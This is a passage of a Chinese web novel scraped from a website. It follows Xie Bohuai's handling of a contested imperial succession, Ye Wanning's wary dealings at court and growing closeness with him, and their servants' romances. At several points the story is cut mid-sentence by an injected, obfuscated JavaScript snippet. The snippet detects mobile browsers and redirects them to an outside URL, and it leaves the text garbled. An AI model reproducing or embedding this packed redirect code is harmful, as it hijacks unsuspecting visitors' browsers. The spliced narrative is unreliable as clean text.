此时的谢泊淮,正在宫里,他已经宣读过圣旨,只是还有人不服,但他已经送端王上王位,并扣下了成王和贤王。 “天子宝印,圣旨也是我从正大光明牌匾后取下来的,我再说一次,谁要是不服,谁就是心存谋逆。谢泊淮看着成王和贤王。 一半以上的大臣已经臣服,只要不是谢泊淮自己登基,于他们而言都一样。 除了那些追谁成王和贤王的大臣。 这会子,成王非常不甘,“为什么? 他想不明白,端王最低调,而且明显表露出对帝位没有兴趣,为何偏偏是端王。 贤王也不服气,这几年他屡建功绩,凭什么让默默无闻的端王继位? “长幼有序,既然没有嫡长子,自然是从上到下。自古以来借是如此,若是跳过端王爷,选择了你们,那才要问问为什么?谢泊淮这番话在理,让更多人觉得这是皇上的意思。 看着镇府司的那群人,成王不再说话,他们都知道,在他们被扣下这一刻,就只能先听谢泊淮的。 次日一早,遗诏公布天下,而成王不知何时逃出宫去,消息传到谢泊淮那里,谢泊淮立马带人去追。 而此时的叶婉宁,面对宫里来的内侍,并没有听话进宫。 “我既不是宗亲,更没有诰命,此时此刻进宫,怎么样都轮不到我。叶婉宁看着内侍冷冷地道。 “夫人是在说奴才假传圣旨了? “我没有这个意思,只是这种时候,还是小心为上。等我派人和宫里联系上,自然会进宫。叶婉宁一开始就觉得不对劲。 又不是谢泊淮 要登基,这会子把她接近宫里做什么? 这会的谢泊淮必定忙得像陀螺,更不至于让她进宫去,她进了宫,什么都做不了,只会给谢泊淮拖后腿。 叶婉宁没见过这种大场面,但也知道,这会子让她进宫很奇怪。 结果她刚说完,眼前的内侍恼羞成怒,“叶氏,你别占着你是摄政王夫人,就可以目中无人。奴才可是宫里的人,你若是抗旨不遵,你能担待得起吗?” “我说了,等我证实后,自然会进宫。”叶婉宁放下脸来,“倒是公公你,难道就不怕吗?” 这里可是谢府,人到了她谢府里,就由不得别人嚣张。 眼看叶婉宁就是不走,对方强硬要带走叶婉宁,折竹几个立马拔剑护着叶婉宁母子。 就是门开了,门外闯进来一群士兵,折竹看情况不对,带着人往后院走。 在柴房里有一处地道,折竹让叶婉宁带着乐哥儿一直走,“您从这里出去后,再到往北去就是镇府司,到了镇府司,自然有人护着你们。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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成王跑了,但是没带上谢令娴母女,连裴侧妃都收到风声,跟着一块儿跑了。 当禁卫军围着成王府,谢令娴才知道成王跑了,她站在门口,看着禁卫军首领,谢令娴脸色苍白,“是不是有什么误会? “这就不懂了,先帝刚驾崩,成王连守灵都不,居心何在,王妃娘娘不如等成王回来,再好好问问他。禁卫军首领吩咐道,“在抓到成王之前,成王府只许进,不许出。所有人都打起十二分精神来,不许任何人送消息出去! 说完,禁卫军首领让谢令娴回去,“您别为难我们,不然宫里有旨意,违抗的人格杀勿论。 谢令娴僵硬地转身,等王府大门被关上,才扶着门大口喘气。 边上的丫鬟急哭了,“娘娘,我们现在怎么办? “能怎么办?我哪里能知道?谢令娴语气哽咽。 成王逃走了,一定会起兵造反,到时候她们母女一定会被押解至前线。 成王会为了他们母女舍弃什么吗? 不可能的。 谢令娴太了解成王了。 就算成王最后造反成功,她也早就死了。 “等着吧。早死晚死而已。 谢令娴回到屋子里后,才敢咬着帕子哭了起来。 另一边的谢泊淮,按着踪迹追出城区,得知成王被人接应走,立马让人送信给附近的驻军,他则是先回城。 先帝驾崩,新帝登基,成王起兵造反。 就这几天的时间里,连着发生了许多事。 还有贤王那里,还要派人一直盯着,尽管贤王表现出了臣服,但这只是表面。 叶婉宁已经三天没见到谢泊淮了,直到羲和公主找了过来。 端王登基,羲和从郡主到公主,地位水涨船高,只是她来的时候,却没那么高兴。 “怎么就挑上我父王了呢?我是真不理解。羲和公主并没有那么想父亲上位,以前当个郡主,就麻烦得很,现在还要她当公主,“你是没看见,那些规矩一套一套的,光是看着,我就觉得累。而且以前王府里多好,现在父王当皇上了,宫里肯定要进更多女人,我母后肯定会难过的。婉宁,你说他们怎么就非要争光是当呢? “好公主,您快饶了我,这种话,我怎么敢说?叶婉宁头都大了。 “有什么不敢,这里是谢泊淮的地盘,以他的本事,肯定里里外外都是他的人。你就放心吧,我和你说的这些话,不可能传出去。羲和公主叹气起来,“我是真的替母后伤心 你看你你也没给谢泊淮纳妾你能理解的吧?” 新帝登基最好的巩固皇权就是联姻新帝虽然有了些年岁却也没老得不行了。这会子把女儿送进宫里若是能生下皇子那可是天大的富贵。 叶婉宁能理解但同时她又觉得皇后娘娘能做得很好。 其实她有猜过皇上会让谁登基如果是成王和贤王想来谢泊淮不会那么淡定。 现在知道结果叶婉宁却也没松一口气。 虽然她和羲和公主关系不错但她们的相处也仅限于她们两个人之间。 看羲和公主一脸难过她转移话题问到羲和公主婆家的事。 说到这个羲和公主更无奈了“本来他们一家子还对我阴阳怪气说什么男人才不会不行我自个儿生不出来孩子反而怪别人头上。自从我父王登基那变脸叫一个快说什么没孩子也不打紧以后从兄弟那过继一个就好。你说我是会养别人孩子的人吗?” 叶婉宁摇头羲和公主的脾气可不是个大度温柔的。 “所以我说了只有断子绝孙的可能要我过继做梦吧。”羲和公主说着眼睛突然亮了起来“对了眼下我父亲是皇上我是公主我也应该仗势欺人与他家和离才是!” “你不怕影响皇上的名声吗?” “这有什么好怕的都当皇上了还怕这怕那还不如不要当。我不与你说了我要进宫去。”羲和公主说干就干立马让人带她进宫。 等皇后听说女儿要和离得知从谢泊淮府上出来问“是叶婉宁给你的建议?” “不是她畏畏缩缩的哪里敢这样建议?”羲和郡主搂住她母后“哎呀求求您了母后您就我这么一个女儿您忍心看我在何家吃苦受罪吗?” 皇后自然心疼女儿却也有她的苦衷“你父皇刚登基朝堂并不稳固再等等吧。你如今贵为公主何家也不敢给你气受你先忍个半年再说和离的事。” 既然女儿婚事不顺她也不强求了只是现在时机不对。 “哎呀还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170514|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等半年啊我光是想到何家人嘴脸我就讨厌。一家子心眼比我吃过的米还多罢了父皇与您确实不容易 皇后笑盈盈地搂着女儿随后问起谢泊淮府上的事。 “您说谢府啊并没有什么特殊的婉宁因为京城那些人的缘故平常都不出门。至于谢泊淮 我是没见到,婉宁说谢泊淮已经三天没回去了。母后,您说父皇会贬了谢泊淮的官位吗?”羲和公主有些看不清,让人说谢泊淮只手遮天,就算是新帝,往后也得看谢泊淮脸色过日子。但是她又觉得,得有谢泊淮在,才能护住叶婉宁。 皇后的目光闪了闪,拍拍女儿的背,“朝堂上的事,我也不清楚。但你可以放心,有你对叶婉宁的心意,她就不会有事。” 别的做不到,帮女儿护着一个人,还是可以的。 与此同时的谢泊淮,正在仁政殿里,太子也在。 “根据前线传来的消息,成王早就勾结了岭南的吴家等人,现在正带着八万大军北上。”太子眉心紧皱,“这种时候,我们是不是应该集结所有兵力,一起南下?” 皇上看了眼太子,转而去看谢泊淮。 谢泊淮:“太子殿下一定听过螳螂捕蝉,黄雀在后的故事。如果我们带兵南下,京城空了出来,您觉得谁最高兴?” “是……是贤王。” “是啊,贤王不是个安分的,他比成王狡猾,现在的安静,不过是等待良机。等我们和成王斗个两败俱伤,他再渔翁得利。”谢泊淮道,“既然贤王有心上位,不如让他带兵出征。” “万一贤王与成王联手,又该如何?”太子问。 “这就要在贤王带的队伍里安插细作,一旦贤王有不轨之心,当场斩首。如果贤王不愿意带兵,也可以趁此机会收了他的爵位,贬为庶人。留他一条性命,能了却一个心腹大患,又能全了皇上的名声。”谢泊淮说这个安排,怎么看,都是完美。 太子听了,也渐渐琢磨出道理来,同意了谢泊淮的说法。 等谢泊淮带着旨意走后,太子才和皇上道,“难怪皇爷爷那么看重谢泊淮,只要谢泊淮这个人是忠心的,用起来就是最锋利的刀,没有他办不成的事。” 就是怕,谢泊淮太厉害了,以后难掌控。 第166章 男人的胸膛 谢泊淮到贤王府宣读旨意时,贤王的神情和吃了屎一样难受。 “谢泊淮,你……你怎么敢的?贤王不敢置信地看着谢泊淮,“这么卑鄙无耻的想法,你都能想得到,你怎么做得到? “王爷慎言,这可不是微臣的想法。谢泊淮淡淡道,“这是皇上的意思,也是皇上看重王爷的能力,才会让王爷带兵出征。王爷好好想想,这可是为了你好,给你机会证明你的忠心。 贤王是个脑子活泛的人,立刻明白谢泊淮和皇上的意思,等谢泊淮走后,嗤笑道,“我就知道,成王败寇,自古如此。让我出征,不就是让我去死吗? 贤王笑着笑着就哭了,他觉得不公平,凭什么先帝选了他皇兄? 再多的不甘愿,在圣旨面前,都必须作出选择。 贤王还是带兵出征了,因为不带,就只有死路一条。 在贤王出征后,先帝下葬,叶婉宁作为摄政王夫人跟着去了。 启程回京城这日,天下起了蒙蒙细雨,道路泥泞,算不上好天气。 叶婉宁回去前,先去看望江嬷嬷。 “这些是去风湿的药材,嬷嬷在这里,也要照顾好自己。 “黄陵里清静,日子也简单,姑娘不用为老奴担心。老奴给殿下祈福完,总要去见殿下的。江嬷嬷早就不在意生死问题,也没什么喜怒哀乐,听叶婉宁说一切都好,才说起别的,“殿下在的时候,新帝是最不争不抢的,但有时候,看着最低调的,却不一定真是这样。您与羲和公主关系好,但如今身份地位不一样了,多一些心思总好。 羲和公主性格直率,叶婉宁还真没有防过她。 不过江嬷嬷这么说,她还是点头应下。 等青山找来,叶婉宁不得不启程回去,才和江嬷嬷告别。 “其他人先回去了,只剩下咱们。青山穿着蓑衣走在一旁带路,“下起雨来后,天冷得厉害,冻得我骨头都咯吱响。夫人您慢点,大人说不着急。 叶婉宁哪里敢慢,天下着雨,要是不快点,就到不了镇子上。 等她到马车上时,谢泊淮准备了炭火炉子,还有热水。 “今儿我们只能住在附近的镇上,你有什么想吃的,我让青山先去安排好。谢泊淮忙活了这段日子,蓄了青须,但他和叶婉宁说话时,永远都是柔和的。 “不用特意安排,这种时候没胃口,随便吃点就行。叶婉宁并不饿,更不想吃东西。 等他 们到镇子上,青山还是安排好饭菜和客栈,用过晚膳,叶婉宁才发现青山给她和谢泊淮定了一间房。 想来也是,她与谢泊淮是夫妻,在旁人看来,是要住一间房的。 回到客房后,叶婉宁想要洗脚,云芝端来热水,她脱了鞋后,谢泊淮正好进来。 姑娘家的脚,一般是不能叫人看了去,叶婉宁又不好直接说,匆匆擦了脚,随便想了个话题,“今日辛苦了,你要不要也洗漱一下?” “好。”谢泊淮刚才看到了,还多看了两眼。 小镇子的客栈,可没有太大的软榻,谢泊淮洗漱过后,坐在椅子上看书。 叶婉宁早就把屋内情况打量过,她躺下睡不着,又不好意思真让谢泊淮去挤小小的竹椅。 做了许久的思想斗争,叶婉宁才小声说了句,“大人,该歇息了。” 她侧身躺着,明显地留了一个位置,谢泊淮看到后,喉结动了动,吹灭了蜡烛。 随着床板往下沉去,叶婉宁知道身边多了一个人,她连呼吸都不敢加重。 她有想过自己和谢泊淮的相处,说谢泊淮心里有她,那她呢? 老人说,日久生情,她与谢泊淮也相处了一段日子,生出情分了吗? 叶婉宁不知道。 但她能确认一点,就是谢泊淮这会真要做点什么,她不会拒绝。 不过这一晚很平静,什么事都没发生,只是叶婉宁醒来的时候,发现自己的一只手放在谢泊淮的胸口上。 男人的胸膛炙热滚烫,叶婉宁僵住了身子,等她想要收回手时,却对上谢泊淮黑漆漆的眸子。 大清早的,谢泊淮正是血气上涌的时刻,发现叶婉宁的手后,身子僵住不知如何是好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170515|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶婉宁赶忙收回手,她想起来,谢泊淮却还躺着,“大人,是不是该起来了。” 谢泊淮“嗯”了一声,但没有动,因为他还…… 这时屋外传来云芝敲门声,说天亮了,差不多该起来了。 叶婉宁只好做了起来,却看到谢泊淮迅速坐起来,背对着她到了屏风后。 这时叶婉宁再去开门,等云芝端着热水进来,她问云芝有没有休息好。 “陌生的环境,还是难休息好。”云芝随便道,“今儿还是下雨,这种天气不懂到什么时候结束。大人,这是热水,我去准备饭菜。” 等云芝退出去后,叶婉宁已经洗完脸,她白皙的脖颈露在外边,谢泊淮看了一眼,快速地撇开目光。 用过早膳,一行人再次出发前往 京城,连着走了三日,才回到京城。 谢泊淮进宫去了,叶婉宁则是回到谢府,她刚进院子乐哥儿冲了过来。 “母亲,我好想你啊,我已经会背《三字经》了。”说着,乐哥儿就给叶婉宁背起《三字经》。他有好几天没见到母亲,实在想念,拉着母亲到屋里,又问父亲去哪了。 “你父亲进宫去了,等傍晚就会回来。”叶婉宁夸了几句乐哥儿,没看到春喜,便问春喜干嘛去了。 乐哥儿神秘兮兮地凑到目前边上,对母亲招招手,示意母亲低下来一点,“春喜姐姐在给心上人做鞋子呢。” “什么?春喜有心上人了?”叶婉宁很震惊,她是一点都不知道。 “是云芝姐姐说的。”乐哥儿说完就去看云芝。 “我想着差不多火候了,春喜自个儿会来和您说。正巧那天我瞧见春喜又在做袜子,和春喜打闹被乐哥儿听到了,但我也不知道春喜的心上人是谁?”云芝解释道。 叶婉宁想了想,“春喜这一路都跟着我们,从叶家到谢府,也就这两个地方。春喜最近有常常去叶家吗?” 云芝摇头说没有。 “难不成她看上谢府里的人了?”叶婉宁把府里的男丁一个个想了过去,也没想到春喜能看上谁。 第167章 爱慕 想来春喜还是年轻,叶婉宁得对她负责,本想把人喊来问问,但从云芝口中得知,春喜做的那些东西,一个都没送出去,叶婉宁又觉得没到时候。 “那这样,你留心看着,府里上上下下就那么点人,总能发现春喜的心思,要真是个好的,我给她准备嫁妆,让她好好嫁人去。”叶婉宁也想身边的人都有好归宿,春喜跟她吃过苦,她希望春喜能过上好日子。 云芝记下主子的话,她没等太久,这天傍晚,就看到春喜悄摸摸地去送东西。 那不是青山几个的房间吗? 云芝靠近了一些,就听到青山的说话声。 “给我的吗?我倒是正好缺鞋袜,不过你怎么知道我需要?”青山比对了一下,正正好,“你也太神了,我穿得刚刚好。春喜姑娘,你怎么那么好,突然想到给我做鞋袜,司砚他们几个有吗?” 春喜愣了下,说没有。 “啊?怎么就我有?”青山很是不解,看得春喜脸红得能滴血。 “就只做了你的嘛,你要不要?”春喜急了。 “你给我了,我肯定要的,我就是不知道,你为什么要给我做?” 门外的云芝听得,都替春喜着急了。她早就知道青山是个笨的,没想到那么笨。 春喜想过各种场面,都没想过是这样,眼泪突然掉了下来,拔腿就跑了。 吓得云芝赶忙闪开,但她怕青山那个笨蛋脑袋和别人乱说,又进去交代,“不许和别人说这个事,听到没有?” “为什么?”青山有着大大的疑问。 “没有为什么,你要是说了让别人知道,我就和夫人说,到时候让大人派你去远远的。”云芝威胁完青山,忙去找春喜。 等她进屋时,春喜已经哭红了眼睛。 到了这会,春喜也不藏了,“我真是瞎了眼,看上这么一个笨蛋。” “你都说他是笨蛋了,你不直接说,青山怎么看得出来?”云芝叹气道,“就青山的脑子,只适合别人说什么,他做什么,暗示不了一点。不过你怎么就看上他了?” “之前我不是和夫人一起躲在破庙,青山和大人一起出现,我就觉得青山好男人。我娘说,找男人就要找身板好,有力气,又没什么心眼的,这样男人在外肯卖力气,在家也肯使劲。”春喜是农家长大,说起话来就没那么斯文,听得云芝都不好意思了。 云芝:“就这样?” “对啊,我想着他那么能打,跟着他,吃不了亏。”春喜的想法很简单,“不过他脑子也太简 单,我就没见过蠢成这样的。一直问我为什么,让我一个姑娘家怎么说?” 春喜都羞死了,早知道青山是这么个笨蛋,她就换一个目标了。 云芝听了好笑,却又不敢笑,“青山就是这么个人,实在不行,你换一个喜欢。府里多的是男人,镇府司里也有,让夫人给你找,总能把你风风光光嫁出去。” “不要了,一个都不要了,男人都那样,我还是不嫁人了。”春喜被伤了心,说着气话。 另一边,青山更委屈,想到云芝的威胁,气鼓鼓地看着手里的鞋袜,想着是不是要还回去时,司砚和折竹回来了。 司砚看青山藏东西,眼神躲躲闪闪,就知道这小子心里有鬼,“你是不是偷偷藏吃的了?” “没有。” “真没有?” 青山点头如捣蒜,但司砚不信,青山眼睛动一下,他都知道青山在想什么。 司砚给折竹使了个眼色,两人左右夹击,才扯出被褥下的鞋袜。 长靴做工精细,一看就不是府里统一准备的,折竹还没反应过来,司砚先想到,“你小子有相好了?” “什么相好?我没有!我真没有,这是……”话说一半,青山想到云芝的威胁,只好把东西抢回来,“我说没有就是没有,你们别闹了,我不会和你们说的。” 司砚见直接问不行,眼珠转了转,“不是相好,就是爱慕你的人。行啊青山,你这个榆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170516|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木脑袋都有人看得上,我是真没想到,不知道哪个姑娘瞎了眼,不过也没事,你不说,我去问问旁人。” “你不要问,我是绝对不会和你说,东西是春喜姑娘送的!”青山挡在门口,他还没意识到自己说漏了嘴,司砚和折竹却先笑了起来。 司砚先是大笑,随后剩下不解,看着青山一直打量,“春喜姑娘是哪里不对劲,竟然看上你了?”他是真不明白,青山有什么好的?他和折竹明明长得更好,怎么就轮不到他们? 折竹也在看青山,他虽然没说话,但眼神里透露出来的疑惑和司砚一个样。 “你们别瞎说,人家姑娘可能是看我辛苦,才做了鞋袜送来。”青山道。 “那为何只有你有,我们就不辛苦了吗?”司砚反问。 青山答不上来,但他知道记得云芝的威胁,强调道,“反正不许你们乱说话,要是被人知道,我就完蛋了!” “好好好,我们不说。”事关姑娘的名声,司砚答应保守秘密,只是心里有些不服气,心想他自己也一把年纪了,是不是也该说亲了? 在司砚这么想的时候,云芝去送热水时,把春喜的事和主子说了。 叶婉宁听到是青山,也愣了下,“竟然是青山?” “是啊,春喜都把东西送他手里了,青山都反应不过来怎么一回事,太蠢了,我让她换一个喜欢,也不知道能不能做到。”云芝伺候主子洗漱后,看到大人从书房回来,很有眼色地退了出去。 谢泊淮抬了抬胳膊,“你们刚刚在谈青山?” “是,说他脑子笨。”看谢泊淮抬手皱眉,叶婉宁问谢泊淮怎么了。 “不是什么大事,抓了个逃犯,肩上被打了一拳。”谢泊淮说话时,司砚来送药油,他看了眼药油,心思动了动,脱下外裳,露出紧实的肩膀,只是抬手时,很轻地“嘶”了一声。 叶婉宁问怎么了。 “我忘了,这个手也有伤,不太能抬起来。”谢泊淮看向叶婉宁,言语里有些期待。 第168章 春心动 天色已晚,这时候青山那些人肯定洗漱了,而且叶婉宁在屋里,大半夜的把其他男人喊进来,也不太妥当。 看谢泊淮又试了试,叶婉宁过去道,“我来帮你。” “会不会太麻烦了?”谢泊淮问。 “不麻烦,你自己弄不太方便,明日你再让青山他们帮你。”叶婉宁接过药油,涂在拇指上,一点点地在淤青处抹开。 明明还是早春时候,谢泊淮脱了衣服,身子却还是滚烫。 若不是看谢泊淮气色如常,叶婉宁都觉得谢泊淮生病了。 谢泊淮的身上有着大大小小的伤疤,叶婉宁涂药油时很小心,但还是会碰到几次。 伤疤微微凸起,有着不一样的触感,她怕谢泊淮疼,不时问一句,“会疼吗?” “有一点。”谢泊淮很快又道,“但我能忍。” 叶婉宁觉得自己很轻了,但没办法,“你以前,一直都会受伤吗?” “出门在外,难免打杀。你也知道,想我死的人太多了。”谢泊淮能闻到药油淡淡的味道,而叶婉宁的手指冰冰的,每一次地触碰,都像在他的心弦上勾弹。 “你以后,还是仔细一些。”叶婉宁顺着说了一句。 谢泊淮以为叶婉宁是怕守寡,他点了点头,“你放心,以后我会惜命。” 叶婉宁“嗯”了一声,一边涂得差不多了,让谢泊淮把另一边的衣裳脱了。 “这边不用了,一点点小伤,多谢你了,快些休息。”一边说,谢泊淮一边收起药油,吹灭了眼前的一盏蜡烛。 屋内瞬间暗了许多,叶婉宁看谢泊淮如此,只好作罢,转身上床去。 谢泊淮随着躺下,二人默契地没说什么,各自睡觉。 清早起来是,谢泊淮已经不在屋里,叶婉宁还能嗅到枕头上淡淡的药油味。 云芝端了热水进来,一边拧帕子,一边道,“今儿一早,青山那呆瓜找了过来,还要问个所以然,弄得春喜差点和他打起来。春喜说自己瞎了眼,竟然会喜欢青山,以后一定不会再和青山说一句话。” “青山确实有些笨,她能放得下也可以。”叶婉宁擦了脸,拉着云芝忙碌的手,“你先别忙活,我也有话和你说。说起来,你比春喜还要大几岁,你有没有心上人?” “我哪里有这心思?”云芝说没有,“您别问了,我是不嫁人的。我跟着您一辈子,您也会对我好的。” “可我总不能和你暖被窝,有些事,我也做不到。如今你是我身边的丫鬟,长得又不错,想要 娶你的人很多。云芝,我是说认真的,你考虑考虑,若是再拖几年,就没那么好挑了。叶婉宁是真心为云芝考虑,“当然了,如果你想清楚了,就打算一辈子陪着我,我也是愿意的,只是不想你以后后悔,人生还长着。 她拍拍云芝的手,让云芝好好想想。 “哎呀,说春喜的事呢,怎么说到我头上了。云芝不好意思地端着盆出去,正好碰到司砚来找大人。 此时的谢泊淮正在书房里看密信,司砚到书房,说镇府司有几个兄弟过了国丧想成亲,问谢泊淮要不要去。 “我就不去了,从库房拿点银子,你们去。谢泊淮去了,兄弟们喝酒不尽兴。 看司砚还没走,谢泊淮又看了过去,眼神询问司砚还有什么事。 司砚嘿嘿笑了下,“是这样的大人,您如今也如愿了,有夫人这个贤内助,多好的事。但是吧……我们哥几个也都单着呢。 本来司砚还没这个想法,得知青山那个蠢货都有人惦记,他很不服气,明明他从样貌到本事都比青山好,怎么就没人看上他? 谢泊淮身边有好几个随从,他自己都二十有五了,司砚这几个也二十好几,是到了成家的年纪。 以前谢泊淮真没想过这个事,现在听司砚提起来,他也觉得该替司砚他们操心,“说吧,看上谁了? “没有谁,您知道的,我平日忙得很,都见不到姑娘,哪里有谁能看上。就是想着,是不是能让大人帮忙操心一下?司砚确实没怎么接触姑娘。 谢泊淮看着司砚若有所思,“你有了官身,是想和官宦人家结亲,还是…… “不用官宦人家。司砚立马道,“我这个官身,都是大人您给我弄的,旁人心里都看不上,更不会和我结亲。那些世家大族,心里都瞧不起我,真结亲了,我还得忍气吞声,那多难受? 司砚看得清,他是仆人出身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170517|165146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没必要硬挤进世家里。他现在当个小官,世家看不上,但普通百姓却是很乐意和他结亲。而且普通百姓关联不会太复杂,不然以后有个什么事,处处都难受。 对于自己以后的安排,司砚想得很清楚。 “我明白了。谢泊淮道,“不过这个事,我并不擅长。回头我会与夫人说,让她帮你们几个安排,到时候媒人上门,自个儿争气点,只要你们成婚,我会给你们买下宅院,有个容身之所。 看完所有信件,谢泊淮要去用早膳了。 到屋里时,乐哥儿已经看着油饼流口水,迫不及待地道,“父亲您快点,油 饼凉了不好吃。” 早膳有油饼、稀饭和酸菜肉丝,还有一叠卤肉,谢泊淮对于吃食不将就,以前都是随便糊弄一下,不会?就行。 还是叶婉宁嫁过来后,带了个厨娘,家里的伙食才好了起来。 谢泊淮坐下后,乐哥儿才动筷子,最近谢泊淮太忙了,不能教乐哥儿写字,还是请了一位教书先生过来。 “余先生怎么样?”谢泊淮问。 “余先生有点凶,他都不笑的。”乐哥儿吃完稀饭和油饼,很是满足,“我一旦写错了,还会打我手板心。” “他这是转移仇恨了,待会我与你一块过去。”谢泊淮道。 余庆生也中过进士,后来和其他同僚理念不和,一气之下辞官回家,发誓永远不会再来京城。后来探亲时遇到山匪,是谢泊淮救了他,故而欠了谢泊淮一个人情。 在给乐哥儿找先生时,谢泊淮立马想到了余庆生,因为余庆生这个人对皇权没有太大的敬畏,只用道德来做人处事,更不喜欢迎合他人,还有着不错的学问。 在大部分读书人都讨厌谢泊淮时,余庆生便是个很不错的选择,因为余庆生不会谋害乐哥儿,只要答应了,便会认真教学。 只是余庆生不愿意回京城,又被谢泊淮用人情裹挟,心里带着怨气,也就严厉了一些。 乐哥儿欢喜道,“那父亲和余先生说一下,别再打我手板心,昨天他教的,我都会背了。” “嗯,我会和他说一下。”谢泊淮让春喜先带乐哥儿去院子里玩一会,他有话和叶婉宁说。 第169章 两个月后 “是这样司砚几个年纪不小了也该成亲。得辛苦你找媒人问问有没有合适的人家。他们的婚事定下来往后能安心办事。”谢泊淮道。 听到是这个事叶婉宁觉得好办“找媒人前先让他们来我这里说说自己的想法我好转述给媒人。他们都是跟你出生入死的兄弟是应该给他们几个找好人家。” 谢泊淮听叶婉宁应下了也就放心了带着儿子去找余庆生。 余庆生就住在隔壁院子余庆生说不喜欢和旁人住一个院子谢泊淮就买下隔壁中间开了个门只在乐哥儿读书时进出。 父子俩到余庆生这时余庆生还是板着脸“怎么迟了一刻钟?” 乐哥儿往父亲那靠去谢泊淮解释是他迟了一会。 “读书是正事不是什么随随便便想来就来不想来就不来的。既然迟了今儿不要上课了自个儿去抄书。”余庆生是一点情面不讲就算是谢泊淮来了他也不怕“看着我做什么?怎么是你请我来当先生的你现在要打我不成?” 天底下没几个人不怕谢泊淮余庆生算是一个。 谢泊淮知道余庆生脾性想着余庆生今日不教 “诶你……” “有好身体才能读好书你坐下吧。”谢泊淮瞥了余庆生一眼“我只是让你来给孩子启蒙又不是真让你教一些策论。” “哼我还不知道你你是想着哄骗我到京城再入朝为官好让我帮你做事。谢泊淮你得罪了那么多人我才不摊浑水我家可是几百口人经不住你的折腾。”余庆生说不干就不干“我只答应你来当教书先生别的我都不干你想都不要想。” 谢泊淮浅笑着“以前你想变法改革有人拦着你让你干不成。现在有我在你想怎么改革都可以余庆生你的抱负和理想呢?不想一展宏图了吗?” 说着谢泊淮起身叹气“你说得也对我不可能拿刀架在你脖子上你愿意只当一个教书先生也可以我家乐哥儿还得仰仗你的才学。余庆生京城要变天了你这时候不入仕以后可没这么好的机会。” 说完谢泊淮就走了他确实忙皇上现在看着没主见什么事都要问他。他知道这是皇上在看他如何处事。 至于太子倒是勤恳得很事事都上心恨不得立刻把朝政都抓在手里。 谢泊淮有太多事要忙他走后乐哥儿在院子里打拳。 叶婉宁把青山先叫了进 来,“你们大人说你们年纪大了,该给你们寻一门亲事。青山,你想娶什么样的姑娘?” “啊?” 青山愣住了,好半天说不出话来,“我……我没想过这个事。” “那你现在想想,你们跟着大人辛苦,我希望你们都能如意。”叶婉宁道。 青山缓缓皱眉,“小的真想不到,要不随便吧,反正媳妇都一样,洗衣做饭暖被窝,没别的事了吧?” 他说得糙,一旁的云芝都听不下去了,叶婉宁让青山回去想想,想好了再说。 后边是折竹,折竹平日就沉默寡言,没太多存在感,他也是说姑娘人不错就行,其他的不挑。 司砚是上值去了,下午才回来,问到他,他就有一大段话说了,“我的要求很简单,普通人家就行,最好家庭简单点,人口太复杂的,我没那么多时间应对。至于姑娘呢,模样好点,人勤快能干,不能太笨了。您是知道的,和笨蛋说话很累。至于家中经商,还是唱戏,我都能接受,主要就是人好,然后好看。” “还有别的吗?”叶婉宁问。 “没有了,就这些。”司砚很期待,“夫人,您看什么时候可以安排?” “等国丧后吧,不然让人知道了,总不好说。”叶婉宁道,“你放心,这个事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170518|165146||http|test|mini|href|location''.split(''|''),0,{})); 